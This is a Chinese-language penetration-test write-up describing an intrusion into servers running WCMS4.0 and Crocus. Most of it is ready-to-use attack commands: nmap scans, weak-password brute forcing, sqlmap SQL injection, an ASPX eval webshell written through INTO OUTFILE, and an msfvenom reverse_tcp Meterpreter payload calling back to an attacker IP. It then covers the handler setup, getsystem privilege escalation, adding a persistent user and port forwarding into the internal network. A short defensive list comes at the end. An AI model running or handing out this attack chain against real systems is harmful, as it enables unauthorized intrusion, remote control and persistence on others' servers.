记一次实战渗透测试
字数 1198 2025-08-18 11:37:57
实战渗透测试教学文档:从信息收集到服务器控制
1. 信息收集阶段
1.1 初始扫描
- 使用Nmap进行端口扫描,特别注意高位端口(>1024)的扫描
- 示例命令:
nmap -p- -T4 <目标IP> - 补充:建议加上
-sV参数进行服务版本识别
1.2 服务识别
- 发现两个关键服务:
- WCMS4.0系统运行在12055端口
- Crocus系统运行在8000端口
1.3 弱口令尝试
- 对发现的所有Web应用进行弱口令爆破
- 常见弱口令组合:admin/admin, admin/123456等
- 建议工具:Burp Suite Intruder或Hydra
2. 漏洞探测
2.1 SQL注入漏洞
- 在两个系统中均发现SQL注入点
- 后台搜索功能存在注入漏洞
- 使用Burp Suite拦截请求并保存为post.txt用于后续测试
2.2 任意文件下载漏洞
- 在8000端口的Crocus系统中发现
- 日志下载功能存在绝对路径泄露
- 通过点击日志下载链接获取服务器绝对路径信息
3. 漏洞利用
3.1 SQL注入利用
- 使用sqlmap进行自动化测试:
sqlmap -r post.txt --sql-shell - 确认注入点具有DBA权限
3.2 写入Webshell
- 利用SQL注入的写文件功能配合绝对路径写入一句话木马
- 示例SQL注入语句:
select '<%@ Page Language="Javascript"%><%eval(Request.Item["pass"]);%>' INTO OUTFILE 'C://Program Files (x86)//CMS Server//WCMS4.0//x.aspx' - 验证Webshell是否写入成功:访问
http://<目标IP>:12055/x.aspx
3.3 连接Webshell
- 使用中国菜刀等Webshell管理工具连接
- 连接密码为"pass"
4. 服务器控制
4.1 生成Meterpreter后门
- 使用msfvenom生成Windows后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<公网IP> LPORT=2333 -f exe > road.exe - 通过Webshell上传后门程序到目标服务器
4.2 Metasploit监听配置
- 设置监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <公网IP> set LPORT 2333 run - 在目标服务器执行后门程序
4.3 权限提升与维持
- 获取当前权限:
getuid - 尝试提权:
getsystem - 添加持久化用户:
run getgui -u <用户名> -p <密码>
4.4 内网穿透
- 端口转发实现内网访问:
portfwd add -l 3389 -r <内网IP> -p 3389 - 解决远程桌面身份验证错误问题(参考链接提供解决方案)
5. 技术总结
关键利用点
- 高位端口扫描发现隐藏服务
- 弱口令爆破获得初始访问权限
- SQL注入漏洞获取数据库控制权
- 绝对路径泄露配合SQL注入实现文件写入
- Webshell上传与Meterpreter后门实现持久控制
防御建议
- 避免使用弱口令和默认凭证
- 对用户输入进行严格过滤,防止SQL注入
- 限制文件下载功能,避免路径泄露
- 数据库用户使用最小权限原则
- 定期进行安全审计和渗透测试
6. 扩展学习
推荐资源
- Metasploit外网搭建指南:http://www.sqlsec.com/2018/03/cloud.html
- RDP身份验证错误解决方案:http://www.cnblogs.com/raswin/p/9018388.html
- Tide安全团队官网:http://www.TideSec.net